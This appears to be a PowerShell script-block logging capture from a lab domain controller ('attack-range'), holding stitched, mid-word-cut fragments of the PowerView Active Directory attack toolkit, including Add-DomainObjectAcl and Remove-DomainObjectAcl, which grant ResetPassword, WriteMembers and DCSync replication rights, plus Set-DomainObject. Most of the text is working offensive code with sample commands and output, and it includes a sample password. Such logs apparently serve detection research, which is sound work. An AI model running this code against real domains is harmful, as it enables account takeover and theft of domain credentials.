Specifies an LDAP query string that is used to filter Active Directory objects.
.PARAMETER Properties
Specifies the properties of the output object to retrieve from the server.
.PARAMETER SearchBase
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER SecurityMasks
Specifies an option for examining security information of a directory object.
One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER FindOne
Only return one result object.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.PARAMETER Raw
Switch. Return raw results instead of translating the fields into a custom PSObject.
.EXAMPLE
Get-DomainGPO -Domain testlab.local
Return all GPOs for the testlab.local domain
.EXAMPLE
Get-DomainGPO -ComputerName windows1.testlab.local
Returns all GPOs applied windows1.testlab.local
.EXAMPLE
"{F260B76D-55C8-46C5-BEF1-9016DD98E272}","Test GPO" | Get-DomainGPO
Return the GPOs with the name of "{F260B76D-55C8-46C5-BEF1-9016DD98E272}" and the display
name of "Test GPO"
.EXAMPLE
Get-DomainGPO -LDAPFilter '(!primarygroupid=513)' -Properties samaccountname,lastlogon
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-DomainGPO -Credential $Cred
.OUTPUTS
PowerView.GPO
Custom PSObject with translated GPO property fields.
PowerView.GPO.Raw
The raw DirectoryServices.SearchResult object, if -Raw is enabled.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')]
[OutputType('PowerView.GPO')]
[OutputType('PowerView.GPO.Raw')]
[CmdletBinding(DefaultParameterSetName = 'None')]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('DistinguishedName', 'SamAccountName', 'Name')]
[String[]]
$Identity,
[Parameter(ParameterSetName = 'ComputerIdentity')]
[Alias('ComputerName')]
[ValidateNotNullOrEmpty()]
[String]
$ComputerIdentity,
[Parameter(ParameterSetName = 'UserIdentity')]
[Alias('UserName')]
[ValidateNotNullOrEmpty()]
[String]
$UserIdentity,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$LDAPFilter,
[ValidateNotNullOrEmpty()]
[String[]]
$Properties,
[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
772cdd4b-a872-46c0-a0e0-ae5d86e232f7
4104132150x0112080Microsoft-Windows-PowerShell/Operationalwin-dc-tcontreras-attack-range-677.attackrange.local2562 ForEach ($ACE in $ACEs) {
Write-Verbose "[Add-DomainObjectAcl] Granting principal $($PrincipalObject.distinguishedname) rights GUID '$($ACE.ObjectType)' on $($TargetObject.Properties.distinguishedname)"
$TargetEntry = $TargetObject.GetDirectoryEntry()
$TargetEntry.PsBase.Options.SecurityMasks = 'Dacl'
$TargetEntry.PsBase.ObjectSecurity.AddAccessRule($ACE)
$TargetEntry.PsBase.CommitChanges()
}
}
catch {
Write-Verbose "[Add-DomainObjectAcl] Error granting principal $($PrincipalObject.distinguishedname) '$Rights' on $($TargetObject.Properties.distinguishedname) : $_"
}
}
}
}
}
function Remove-DomainObjectAcl {
<#
.SYNOPSIS
Removes an ACL from a specific active directory object.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainObject
.DESCRIPTION
This function modifies the ACL/ACE entries for a given Active Directory
target object specified by -TargetIdentity. Available -Rights are
'All', 'ResetPassword', 'WriteMembers', 'DCSync', or a manual extended
rights GUID can be set with -RightsGUID. These rights are removed from the target
object for the specified -PrincipalIdentity.
.PARAMETER TargetIdentity
A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local),
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201)
for the domain object to modify ACLs for. Required. Wildcards accepted.
.PARAMETER TargetDomain
Specifies the domain for the TargetIdentity to use for the modification, defaults to the current domain.
.PARAMETER TargetLDAPFilter
Specifies an LDAP query string that is used to filter Active Directory object targets.
.PARAMETER TargetSearchBase
The LDAP source to search through for targets, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
.PARAMETER PrincipalIdentity
A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local),
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201)
for the domain principal to add for the ACL. Required. Wildcards accepted.
.PARAMETER PrincipalDomain
Specifies the domain for the TargetIdentity to use for the principal, defaults to the current domain.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.PARAMETER Rights
Rights to add for the principal, 'All', 'ResetPassword', 'WriteMembers', 'DCSync'.
Defaults to 'All'.
.PARAMETER RightsGUID
Manual GUID representing the right to add to the target.
.EXAMPLE
$UserSID = Get-DomainUser user | Select-Object -ExpandProperty objectsid
Get-DomainObjectACL user2 -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $UserSID}
[no results returned]
Add-DomainObjectAcl -TargetIdentity user2 -PrincipalIdentity user -Rights ResetPassword
Get-DomainObjectACL user2 -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $UserSID }
AceQualifier : AccessAllowed
ObjectDN : CN=user2,CN=Users,DC=testlab,DC=local
ActiveDirectoryRights : ExtendedRight
ObjectAceType : User-Force-Change-Password
ObjectSID : S-1-5-21-883232822-274137685-4173207997-2105
InheritanceFlags : None
BinaryLength : 56
AceType : AccessAllowedObject
ObjectAceFlags : ObjectAceTypePresent
IsCallback : False
PropagationFlags : None
SecurityIdentifier : S-1-5-21-883232822-274137685-4173207997-2104
AccessMask : 256
AuditFlags : None
IsInherited : False
AceFlags : None
InheritedObjectAceType : All
OpaqueLength : 0
Remove-DomainObjectAcl -TargetIdentity user2 -PrincipalIdentity user -Rights ResetPassword
Get-DomainObjectACL user2 -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $UserSID}
[no results returned]
.LINK
https://social.technet.microsoft.com/Forums/windowsserver/en-US/df3bfd33-c070-4a9c-be98-c4da6e591a0a/forum-faq-using-powershell-to-assign-permissions-on-active-directory-objects?forum=winserverpowershell
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[CmdletBinding()]
Param (
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('DistinguishedName', 'SamAccountName', 'Name')]
[String[]]
$TargetIdentity,
[ValidateNotNullOrEmpty()]
[String]
$TargetDomain,
[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$TargetLDAPFilter,
[ValidateNotNullOrEmpty()]
[String]
$TargetSearchBase,
[Parameter(Mandatory = $True)]
[ValidateNotNullOrEmpty()]
[String[]]
$PrincipalIdentity,
[ValidateNotNullOrEmpty()]
[String]
$PrincipalDomain,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[Switch]
$Tombstone,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,
[ValidateSet('All', 'ResetPassword', 'WriteMembers', 'DCSync')]
[String]
$Rights = 'All',
[Guid]
$RightsGUID
)
BEGIN {
$TargetSearcherArguments = @{
'Properties' = 'distinguishedname'
'Raw' = $True
}
if ($PSBoundParameters['TargetDomain']) { $TargetSearcherArguments['Domain'] = $TargetDomain }
if ($PSBoundParameters['TargetLDAPFilter']) { $TargetSearcherArguments['LDAPFilter'] = $TargetLDAPFilter }
if ($PSBoundParameters['TargetSearchBase']) { $TargetSearcherArguments['SearchBase'] = $TargetSearchBase }
if ($PSBoundParameters['Server']) { $TargetSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $TargetSearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $TargetSearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $TargetSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $TargetSearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $TargetSearcherArguments['Credential'] = $Credential }
$PrincipalSearcherArguments = @{
'Identity' = $PrincipalIdentity
'Properties' = 'distinguishedname,objectsid'
}
if ($PSBoundParameters['PrincipalDomain']) { $PrincipalSearcherArguments['Domain'] = $PrincipalDomain }
if ($PSBoundParameters['Server']) { $PrincipalSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $PrincipalSearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $PrincipalSearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $PrincipalSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $PrincipalSearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $PrincipalSearcherArguments['Credential'] = $Credential }
$Principals = Get-DomainObject @PrincipalSearcherArguments
if (-not $Principals) {
throw "Unable to resolve principal: $PrincipalIdentity"
}
}
PROCESS {
$TargetSearcherArguments['Identity'] = $TargetIdentity
$Targets = Get-DomainObject @TargetSearcherArguments
ForEach ($TargetObject in $Targets) {
$InheritanceType = [System.DirectoryServices.ActiveDirectorySecurityInheritance] 'None'
$ControlType = [System.Security.AccessControl.AccessControlType] 'Allow'
$ACEs = @()
if ($RightsGUID) {
$GUIDs = @($RightsGUID)
}
else {
$GUIDs = Switch ($Rights) {
# ResetPassword doesn't need to know the user's current password
'ResetPassword' { '00299570-246d-11d0-a768-00aa006e0529' }
# allows for the modification of group membership
'WriteMembers' { 'bf9679c0-0de6-11d0-a285-00aa003049e2' }
# 'DS-Replication-Get-Changes' = 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2
# 'DS-Replication-Get-Changes-All' = 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2
# 'DS-Replication-Get-Changes-In-Filtered-Set' = 89e95b76-444d-4c62-991a-0facbeda640c
# when applied to a domain's ACL, allows for the use of DCSync
'DCSync' { '1131f6aa-9c07-11d1-f79f-00c04fc2dcd2', '1131f6ad-9c07-11d1-f79f-00c04fc2dcd2', '89e95b76-444d-4c62-991a-0facbeda640c'}
}
}
ForEach ($PrincipalObject in $Principals) {
Write-Verbose "[Remove-DomainObjectAcl] Removing principal $($PrincipalObject.distinguishedname) '$Rights' from $($TargetObject.Properties.distinguishedname)"
try {
$Identity = [System.Security.Principal.IdentityReference] ([System.Security.Principal.SecurityIdentifier]$PrincipalObject.objectsid)
if ($GUIDs) {
ForEach ($GUID in $GUIDs) {
$NewGUID = New-Object Guid $GUID
$ADRights = [System.DirectoryServices.ActiveDirectoryRights] 'ExtendedRight'
$ACEs += New-Object System.DirectoryServices.ActiveDirectoryAccessRule $Identity, $ADRights, $ControlType, $NewGUID, $InheritanceType
}
}
else {
# deault to GenericAll rights
$ADRights = [System.DirectoryServices.ActiveDirectoryRights] 'GenericAll'
$ACEs += New-Object System.DirectoryServices.ActiveDirectoryAccessRule $Identity, $ADRights, $ControlType, $InheritanceType
}
# remove all the specified ACEs from the specified object directory entry
ForEach ($ACE in $ACEs) {
Write-Verbose "[Remove-DomainObjectAcl] Granting principal $($PrincipalObject.distinguishedname) rights GUID '$($ACE.ObjectType)' on $($TargetObject.Properties.distinguishedname)"
$TargetEntry = $TargetObject.GetDirectoryEntry()
$TargetEntry.PsBase.Options.SecurityMasks = 'Dacl'
$TargetEntry.PsBase.ObjectSecurity.RemoveAccessRule($ACE)
$TargetEntry.PsBase.CommitChanges()
}
}
catch {
Write-Verbose "[Remove-DomainObjectAcl] Error removing principal $($PrincipalObject.distinguishedname) '$Rights' from $($TargetObject.Properties.distinguishedname) : $_"
}
}
}
}
}
function Find-InterestingDomainAcl {
<#
.SYNOPSIS
Finds object ACLs in the current (or specified) domain with modification
rights set to non-built in objects.
Thanks Sean Metcalf (@pyrotek3) for the idea and guidance.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainObjectAcl, Get-DomainObject, Convert-ADName
.DESCRIPTION
This function enumerates the ACLs for every object in the dom772cdd4b-a872-46c0-a0e0-ae5d86e232f7
4104132150x0112079Microsoft-Windows-PowerShell/Operationalwin-dc-tcontreras-attack-range-677.attackrange.local2462ty to use for the modification, defaults to the current domain.
.PARAMETER TargetLDAPFilter
Specifies an LDAP query string that is used to filter Active Directory object targets.
.PARAMETER TargetSearchBase
The LDAP source to search through for targets, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
.PARAMETER PrincipalIdentity
A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local),
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201)
for the domain principal to add for the ACL. Required. Wildcards accepted.
.PARAMETER PrincipalDomain
Specifies the domain for the TargetIdentity to use for the principal, defaults to the current domain.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.PARAMETER Rights
Rights to add for the principal, 'All', 'ResetPassword', 'WriteMembers', 'DCSync'.
Defaults to 'All'.
.PARAMETER RightsGUID
Manual GUID representing the right to add to the target.
.EXAMPLE
$Harmj0ySid = Get-DomainUser harmj0y | Select-Object -ExpandProperty objectsid
Get-DomainObjectACL dfm.a -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $Harmj0ySid}
...
Add-DomainObjectAcl -TargetIdentity dfm.a -PrincipalIdentity harmj0y -Rights ResetPassword -Verbose
VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(samAccountName=harmj0y)))
VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
VERBOSE: [Get-DomainObject] Get-DomainObject filter string:(&(|(samAccountName=dfm.a)))
VERBOSE: [Add-DomainObjectAcl] Granting principal CN=harmj0y,CN=Users,DC=testlab,DC=local 'ResetPassword' on CN=dfm (admin),CN=Users,DC=testlab,DC=local
VERBOSE: [Add-DomainObjectAcl] Granting principal CN=harmj0y,CN=Users,DC=testlab,DC=local rights GUID '00299570-246d-11d0-a768-00aa006e0529' on CN=dfm (admin),CN=Users,DC=testlab,DC=local
Get-DomainObjectACL dfm.a -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $Harmj0ySid }
AceQualifier : AccessAllowed
ObjectDN : CN=dfm (admin),CN=Users,DC=testlab,DC=local
ActiveDirectoryRights : ExtendedRight
ObjectAceType : User-Force-Change-Password
ObjectSID : S-1-5-21-890171859-3433809279-3366196753-1114
InheritanceFlags : None
BinaryLength : 56
AceType : AccessAllowedObject
ObjectAceFlags : ObjectAceTypePresent
IsCallback : False
PropagationFlags : None
SecurityIdentifier : S-1-5-21-890171859-3433809279-3366196753-1108
AccessMask : 256
AuditFlags : None
IsInherited : False
AceFlags : None
InheritedObjectAceType : All
OpaqueLength : 0
.EXAMPLE
$Harmj0ySid = Get-DomainUser harmj0y | Select-Object -ExpandProperty objectsid
Get-DomainObjectACL testuser -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $Harmj0ySid}
[no results returned]
$SecPassword = ConvertTo-SecureString 'Password123!'-AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Add-DomainObjectAcl -TargetIdentity testuser -PrincipalIdentity harmj0y -Rights ResetPassword -Credential $Cred -Verbose
VERBOSE: [Get-Domain] Using alternate credentials for Get-Domain
VERBOSE: [Get-Domain] Extracted domain 'TESTLAB' from -Credential
VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
VERBOSE: [Get-DomainSearcher] Using alternate credentials for LDAP connection
VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(|(samAccountName=harmj0y)(name=harmj0y))))
VERBOSE: [Get-Domain] Using alternate credentials for Get-Domain
VERBOSE: [Get-Domain] Extracted domain 'TESTLAB' from -Credential
VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
VERBOSE: [Get-DomainSearcher] Using alternate credentials for LDAP connection
VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(|(samAccountName=testuser)(name=testuser))))
VERBOSE: [Add-DomainObjectAcl] Granting principal CN=harmj0y,CN=Users,DC=testlab,DC=local 'ResetPassword' on CN=testuser testuser,CN=Users,DC=testlab,DC=local
VERBOSE: [Add-DomainObjectAcl] Granting principal CN=harmj0y,CN=Users,DC=testlab,DC=local rights GUID '00299570-246d-11d0-a768-00aa006e0529' on CN=testuser,CN=Users,DC=testlab,DC=local
Get-DomainObjectACL testuser -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $Harmj0ySid }
AceQualifier : AccessAllowed
ObjectDN : CN=dfm (admin),CN=Users,DC=testlab,DC=local
ActiveDirectoryRights : ExtendedRight
ObjectAceType : User-Force-Change-Password
ObjectSID : S-1-5-21-890171859-3433809279-3366196753-1114
InheritanceFlags : None
BinaryLength : 56
AceType : AccessAllowedObject
ObjectAceFlags : ObjectAceTypePresent
IsCallback : False
PropagationFlags : None
SecurityIdentifier : S-1-5-21-890171859-3433809279-3366196753-1108
AccessMask : 256
AuditFlags : None
IsInherited : False
AceFlags : None
InheritedObjectAceType : All
OpaqueLength : 0
.LINK
https://adsecurity.org/?p=1906
https://social.technet.microsoft.com/Forums/windowsserver/en-US/df3bfd33-c070-4a9c-be98-c4da6e591a0a/forum-faq-using-powershell-to-assign-permissions-on-active-directory-objects?forum=winserverpowershell
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[CmdletBinding()]
Param (
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('DistinguishedName', 'SamAccountName', 'Name')]
[String[]]
$TargetIdentity,
[ValidateNotNullOrEmpty()]
[String]
$TargetDomain,
[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$TargetLDAPFilter,
[ValidateNotNullOrEmpty()]
[String]
$TargetSearchBase,
[Parameter(Mandatory = $True)]
[ValidateNotNullOrEmpty()]
[String[]]
$PrincipalIdentity,
[ValidateNotNullOrEmpty()]
[String]
$PrincipalDomain,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[Switch]
$Tombstone,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,
[ValidateSet('All', 'ResetPassword', 'WriteMembers', 'DCSync')]
[String]
$Rights = 'All',
[Guid]
$RightsGUID
)
BEGIN {
$TargetSearcherArguments = @{
'Properties' = 'distinguishedname'
'Raw' = $True
}
if ($PSBoundParameters['TargetDomain']) { $TargetSearcherArguments['Domain'] = $TargetDomain }
if ($PSBoundParameters['TargetLDAPFilter']) { $TargetSearcherArguments['LDAPFilter'] = $TargetLDAPFilter }
if ($PSBoundParameters['TargetSearchBase']) { $TargetSearcherArguments['SearchBase'] = $TargetSearchBase }
if ($PSBoundParameters['Server']) { $TargetSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $TargetSearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $TargetSearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $TargetSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $TargetSearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $TargetSearcherArguments['Credential'] = $Credential }
$PrincipalSearcherArguments = @{
'Identity' = $PrincipalIdentity
'Properties' = 'distinguishedname,objectsid'
}
if ($PSBoundParameters['PrincipalDomain']) { $PrincipalSearcherArguments['Domain'] = $PrincipalDomain }
if ($PSBoundParameters['Server']) { $PrincipalSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $PrincipalSearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $PrincipalSearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $PrincipalSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $PrincipalSearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $PrincipalSearcherArguments['Credential'] = $Credential }
$Principals = Get-DomainObject @PrincipalSearcherArguments
if (-not $Principals) {
throw "Unable to resolve principal: $PrincipalIdentity"
}
}
PROCESS {
$TargetSearcherArguments['Identity'] = $TargetIdentity
$Targets = Get-DomainObject @TargetSearcherArguments
ForEach ($TargetObject in $Targets) {
$InheritanceType = [System.DirectoryServices.ActiveDirectorySecurityInheritance] 'None'
$ControlType = [System.Security.AccessControl.AccessControlType] 'Allow'
$ACEs = @()
if ($RightsGUID) {
$GUIDs = @($RightsGUID)
}
else {
$GUIDs = Switch ($Rights) {
# ResetPassword doesn't need to know the user's current password
'ResetPassword' { '00299570-246d-11d0-a768-00aa006e0529' }
# allows for the modification of group membership
'WriteMembers' { 'bf9679c0-0de6-11d0-a285-00aa003049e2' }
# 'DS-Replication-Get-Changes' = 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2
# 'DS-Replication-Get-Changes-All' = 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2
# 'DS-Replication-Get-Changes-In-Filtered-Set' = 89e95b76-444d-4c62-991a-0facbeda640c
# when applied to a domain's ACL, allows for the use of DCSync
'DCSync' { '1131f6aa-9c07-11d1-f79f-00c04fc2dcd2', '1131f6ad-9c07-11d1-f79f-00c04fc2dcd2', '89e95b76-444d-4c62-991a-0facbeda640c'}
}
}
ForEach ($PrincipalObject in $Principals) {
Write-Verbose "[Add-DomainObjectAcl] Granting principal $($PrincipalObject.distinguishedname) '$Rights' on $($TargetObject.Properties.distinguishedname)"
try {
$Identity = [System.Security.Principal.IdentityReference] ([System.Security.Principal.SecurityIdentifier]$PrincipalObject.objectsid)
if ($GUIDs) {
ForEach ($GUID in $GUIDs) {
$NewGUID = New-Object Guid $GUID
$ADRights = [System.DirectoryServices.ActiveDirectoryRights] 'ExtendedRight'
$ACEs += New-Object System.DirectoryServices.ActiveDirectoryAccessRule $Identity, $ADRights, $ControlType, $NewGUID, $InheritanceType
}
}
else {
# deault to GenericAll rights
$ADRights = [System.DirectoryServices.ActiveDirectoryRights] 'GenericAll'
$ACEs += New-Object System.DirectoryServices.ActiveDirectoryAccessRule $Identity, $ADRights, $ControlType, $InheritanceType
}
# add all the new ACEs to the specified object directory entry
772cdd4b-a872-46c0-a0e0-ae5d86e232f7
4104132150x0112076Microsoft-Windows-PowerShell/Operationalwin-dc-tcontreras-attack-range-677.attackrange.local2162OrEmpty()]
[Hashtable]
$XOR,
[ValidateNotNullOrEmpty()]
[String[]]
$Clear,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$LDAPFilter,
[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[Switch]
$Tombstone,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
BEGIN {
$SearcherArguments = @{'Raw' = $True}
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $LDAPFilter }
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
}
PROCESS {
if ($PSBoundParameters['Identity']) { $SearcherArguments['Identity'] = $Identity }
# splat the appropriate arguments to Get-DomainObject
$RawObject = Get-DomainObject @SearcherArguments
ForEach ($Object in $RawObject) {
$Entry = $RawObject.GetDirectoryEntry()
if($PSBoundParameters['Set']) {
try {
$PSBoundParameters['Set'].GetEnumerator() | ForEach-Object {
Write-Verbose "[Set-DomainObject] Setting '$($_.Name)' to '$($_.Value)' for object '$($RawObject.Properties.samaccountname)'"
$Entry.put($_.Name, $_.Value)
}
$Entry.commitchanges()
}
catch {
Write-Warning "[Set-DomainObject] Error setting/replacing properties for object '$($RawObject.Properties.samaccountname)' : $_"
}
}
if($PSBoundParameters['XOR']) {
try {
$PSBoundParameters['XOR'].GetEnumerator() | ForEach-Object {
$PropertyName = $_.Name
$PropertyXorValue = $_.Value
Write-Verbose "[Set-DomainObject] XORing '$PropertyName' with '$PropertyXorValue' for object '$($RawObject.Properties.samaccountname)'"
$TypeName = $Entry.$PropertyName[0].GetType().name
# UAC value references- https://support.microsoft.com/en-us/kb/305144
$PropertyValue = $($Entry.$PropertyName) -bxor $PropertyXorValue
$Entry.$PropertyName = $PropertyValue -as $TypeName
}
$Entry.commitchanges()
}
catch {
Write-Warning "[Set-DomainObject] Error XOR'ing properties for object '$($RawObject.Properties.samaccountname)' : $_"
}
}
if($PSBoundParameters['Clear']) {
try {
$PSBoundParameters['Clear'] | ForEach-Object {
$PropertyName = $_
Write-Verbose "[Set-DomainObject] Clearing '$PropertyName' for object '$($RawObject.Properties.samaccountname)'"
$Entry.$PropertyName.clear()
}
$Entry.commitchanges()
}
catch {
Write-Warning "[Set-DomainObject] Error clearing properties for object '$($RawObject.Properties.samaccountname)' : $_"
}
}
}
}
}
function ConvertFrom-LDAPLogonHours {
<#
.SYNOPSIS
Converts the LDAP LogonHours array to a processible object.
Author: Lee Christensen (@tifkin_)
License: BSD 3-Clause
Required Dependencies: None
.DESCRIPTION
Converts the LDAP LogonHours array to a processible object. Each entry
property in the output object corresponds to a day of the week and hour during
the day (in UTC) indicating whether or not the user can logon at the specified
hour.
.PARAMETER LogonHoursArray
21-byte LDAP hours array.
.EXAMPLE
$hours = (Get-DomainUser -LDAPFilter 'userworkstations=*')[0].logonhours
ConvertFrom-LDAPLogonHours $hours
Gets the logonhours array from the first AD user with logon restrictions.
.OUTPUTS
PowerView.LogonHours
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.LogonHours')]
[CmdletBinding()]
Param (
[Parameter( ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[ValidateNotNullOrEmpty()]
[byte[]]
$LogonHoursArray
)
Begin {
if($LogonHoursArray.Count -ne 21) {
throw "LogonHoursArray is the incorrect length"
}
function ConvertTo-LogonHoursArray {
Param (
